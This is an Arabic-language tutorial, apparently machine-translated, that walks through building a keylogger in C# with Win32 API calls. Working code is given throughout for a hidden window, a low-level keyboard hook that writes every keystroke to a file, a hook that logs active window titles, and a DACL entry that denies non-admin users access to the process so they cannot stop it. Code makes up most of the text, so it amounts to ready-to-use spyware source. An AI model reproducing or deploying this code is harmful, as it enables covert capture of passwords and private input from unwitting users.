سننظر هنا في إنشاء
Keylogger بناءً على .Net C # مع المكالمات إلى وظائف النظام. يتم وصف وظائف النظام نفسها لفترة وجيزة ، ولكن من الأفضل قراءة الوثائق الرسمية من Microsoft. يتم توفير الرابط إلى المستودع مع مجموعة العمل في النهاية ، بالإضافة إلى رابط الوثائق.
ما سيتم تنفيذه:
- تسجيل إدخال لوحة المفاتيح.
- تسجيل النافذة النشطة.
- حظر العملية من مستخدم دون امتيازات المسؤول.
- وقف العملية عن طريق اختصار لوحة المفاتيح.
للكتابة ، ستحتاج إلى C # ، معرفة API Win و Windows DACL.
لذلك ، سوف نقوم بتحليل عدة أنواع من رموز النظام التي ستكون مطلوبة ، وسيتم تخزين كل نوع في التعداد منفصلة.
أنواع السنانير.
public enum HookTypes { WH_CALLWNDPROC = 4, WH_CALLWNDPROCRET = 12, WH_KEYBOARD = 2, WH_KEYBOARD_LL = 13, WH_MOUSE = 7, WH_MOUSE_LL = 14, WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_FOREGROUNDIDLE = 11, WH_SYSMSGFILTER = 6, WH_GETMESSAGE = 3, WH_CBT = 5, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, }
لالتقاط جميع الأحداث المتعلقة بلوحة المفاتيح ، تحتاج إلى نوع
WH_KEYBOARD_LL . تتطلب كافة أنواع السنانير الأخرى تطبيق DLL منفصلة ، باستثناء
أحداث ربط الماوس
WH_MOUSE_LL أخرى.
أنواع الأحداث المرتبطة بلوحة المفاتيح ، والضغط على المفتاح وإطلاقه.
public enum KeyboardEventTypes { WM_KEYDOWN = 0x0100, WM_KEYUP = 0x0101, }
سنقوم بتسجيل أحرف الإدخال عن طريق تحرير المفتاح -
WM_KEYUP .
بشكل منفصل ، أنواع التقاط انتقال المستخدم من نافذة تطبيق إلى أخرى.
public class WinEventTypes { public const uint WINEVENT_OUTOFCONTEXT = 0; public const uint EVENT_SYSTEM_FOREGROUND = 3; }
التعداد من أجل استخدام اختصار لوحة المفاتيح لتعطيل البرنامج.
public enum CombineKeys { MOD_ALT = 0x1, MOD_CONTROL = 0x2, MOD_SHIFT = 0x4, MOD_WIN = 0x8, WM_HOTKEY = 0x0312, }
لتنفيذ جميع النقاط ، قم أولاً بإنشاء النموذج وإخفائه عن المستخدم. يكفي لتجاوز الأسلوب SetVisibleCore الأساسي.
protected override void SetVisibleCore(bool value) { base.SetVisibleCore(false); }
سيتم إطلاق النموذج عندما يبدأ البرنامج.
Application.Run(HiddenForm);
هناك نموذج والآن تحتاج إلى إضافة الوظيفة الرئيسية - اعتراض إدخال لوحة المفاتيح. نستخدم طريقة Win API
SetWindowsHookEx ، سيتم تمرير المعلمات التالية:
- نوع الخطاف هو WH_KEYBOARD_LL.
- وظيفة رد الاتصال ، أي الطريقة التي يجب أن تتعامل مع جميع الأحداث المتعلقة بلوحة المفاتيح.
- معرف الوحدة الحالية .
- معرف مؤشر الترابط هو 0. صفر بحيث يرتبط الخطاف بجميع مؤشرات الترابط.
internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWindowsHookEx((int)typeOfHook, callBack, GetModuleHandle(currentModule.ModuleName), 0); } }
الطريقة نفسها التي تعالج الخطاف. لديها العديد من المعلمات ،
nCode - من أجل فهم ما إذا كان من الضروري معالجة الحدث الحالي أو نقله على الفور ،
wParam - نوع الحدث (الضغط على مفتاح أو
تحريره ) ،
lParam - الحرف الذي يتم الضغط عليه حاليًا. في الجوهر ،
lParam عبارة عن صفيف من البايتات ، لذلك يقوم بتخزين معلومات إضافية ، على سبيل المثال ، عدد الأحرف إذا كان المستخدم يحتفظ بالمفتاح وكان الجهاز الذي تتم فيه المعالجة بطيئًا.
internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); SetKeysState(); var saveText = GetSymbol((uint)vkCode); File.AppendAllText(_fileName, saveText); } return CallNextHookEx(HookId, nCode, wParam, lParam); }
يكتب هذا التطبيق حرفًا فقط بعد قيام المستخدم بإصدار المفتاح. لتسجيل عدد الأحرف ، تحتاج إلى تطبيق حالة من النوع
WM_KEYDOWN .
يتم استخدام الأسلوب
SetKeysState لمعرفة حالة مفاتيح إضافية الحالة ، على سبيل المثال ، المفاتيح التي تؤثر على الحالة.
private static void SetKeysState() { _capsLock = GetKeyState((int)Keys.CapsLock) != 0; _numLock = GetKeyState((int)Keys.NumLock) != 0; _scrollLock = GetKeyState((int)Keys.Scroll) != 0; _shift = GetKeyState((int)Keys.ShiftKey) != 0; }
GetKeyState هو طريقة Win API أخرى يمكنك من خلالها معرفة الحالة بواسطة رمز المفتاح.
private static string GetSymbol(uint vkCode) { var buff = new StringBuilder(maxChars); var keyboardState = new byte[maxChars]; var keyboard = GetKeyboardLayout( GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)); ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard); var buffSymbol = buff.ToString(); var symbol = buffSymbol.Equals("\r") ? Environment.NewLine : buffSymbol; if (_capsLock ^ _shift) symbol = symbol.ToUpperInvariant(); return symbol; }
في أسلوب
GetSymbol ، يتم أولاً طلب رمز تخطيط لوحة المفاتيح
GetKeyboardLayout للإطار الحالي ، ثم
ToUnicodeEx للحصول على الحرف ، كلتا الطريقتين Win API. إذا كانت المفاتيح التي تؤثر على الحالة متضمنة ، فيجب تحويل الحرف إلى الحالة العليا.
هذا سيكون كافيا لتسجيل المدخلات من لوحة المفاتيح. ولكن لتسجيل الإطار النشط الحالي ، تحتاج إلى استخدام ربط آخر.
internal IntPtr SetWinHook(WinEventProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWinEventHook( WinEventTypes.EVENT_SYSTEM_FOREGROUND, WinEventTypes.EVENT_SYSTEM_FOREGROUND, GetModuleHandle(currentModule.ModuleName), callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); } }
مطلوب نوع
EVENT_SYSTEM_FOREGROUND لتتبع التغييرات في الإطار النشط. ويشير
WINEVENT_OUTOFCONTEXT إلى أن طريقة callBack في تطبيقنا.
تحتوي الطريقة التي تم تمريرها إلى سلسلة الخطاف على العديد من المعلمات التي يمكن أن تكون مفيدة في تنفيذ أكثر تفصيلًا ، وفي هذه الحالة يكفي العثور على النافذة النشطة وعنوانها.
internal static void ActiveWindowsHook( IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) { File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}"); }
وهذا هو ، سيتم تسجيل كل حدث تغيير نافذة. وفي
GetActiveWindowTitle ، يكفي استخدام بضعة أساليب Win API
GetForegroundWindow - تعرف على معرف الإطار النشط الحالي ، بعد طلب عنوان باستخدام
GetWindowText .
private static string GetActiveWindowTitle() { var buff = new StringBuilder(maxChars); var handle = GetForegroundWindow(); if (GetWindowText(handle, buff, maxChars) > 0) { return buff.ToString(); } return null; }
حتى هذه النقطة ، تم أخذ جميع استدعاءات وظائف النظام من مكتبات
User32 و
Kernel32 . والخطوة التالية هي استخدام مكتبة
advapi32 .
الخطوة الثالثة هي منع المستخدم العادي من إكمال عملية تسجيل إدخال لوحة المفاتيح. تحتاج أولاً إلى الحصول على مؤشر لهذه العملية ثم تغييرها عن طريق إضافة إدخال إلى
DACL .
internal void BlockForNotAdminUsers() { var hProcess = Process.GetCurrentProcess().Handle; var securityDescriptor = GetProcessSecurityDescriptor(hProcess); var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid; securityDescriptor.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, sid), false, null)); SetProcessSecurityDescriptor(hProcess, securityDescriptor); }
يتم
استلام واصف العملية من خلال
GetKernelObjectSecurity ، يتم استدعاء الطريقة مرتين ، أولاً نحصل على طول الواصف ، والمكالمة الثانية نحصل على واصف العملية مباشرةً.
private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { var psd = new byte[0]; GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); if (!GetKernelObjectSecurity( processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); return new RawSecurityDescriptor(psd, 0); }
بعد تغيير الواصف ، تحتاج إلى إدخال هذه المعلومات في العملية الحالية. يكفي تمرير معرف واصف العملية إلى طريقة النظام
SetKernelObjectSecurity .
private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor) { var rawsd = new byte[securityDescriptor.BinaryLength]; securityDescriptor.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); }
الخطوة الأخيرة هي إيقاف العملية باستخدام تركيبة المفاتيح.
internal static int SetHotKey(Keys key, IntPtr handle) { int modifiers = 0; if ((key & Keys.Alt) == Keys.Alt) modifiers |= (int)CombineKeys.MOD_ALT; if ((key & Keys.Control) == Keys.Control) modifiers |= (int)CombineKeys.MOD_CONTROL; if ((key & Keys.Shift) == Keys.Shift) modifiers |= (int)CombineKeys.MOD_SHIFT; Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt; var keyId = key.GetHashCode(); RegisterHotKey(handle, keyId, modifiers, (int)keys); return keyId; }
المفتاح هنا هو اختصار لوحة المفاتيح ،
والمقبض هو معرف النموذج المخفي. للتعرف على تركيبة المفاتيح في النموذج ، يتم إنشاء
keyId ، والتي من خلالها يمكن التحقق من تشغيل مجموعة المفاتيح. وكل هذا مكتوب من خلال طريقة وين API
RegisterHotKey .
ولإيقاف العملية أخيرًا ، نعيد تعريف طريقة
WndProc في النموذج.
protected override void WndProc(ref Message m) { if (m.Msg == (int)CombineKeys.WM_HOTKEY) { if ((int)m.WParam == KeyId) { UnregisterHotKey(Handle, KeyId); Application.Exit(); } } base.WndProc(ref m); }
روابط مفيدة:مستودع الرابطرابط لوثائق MS.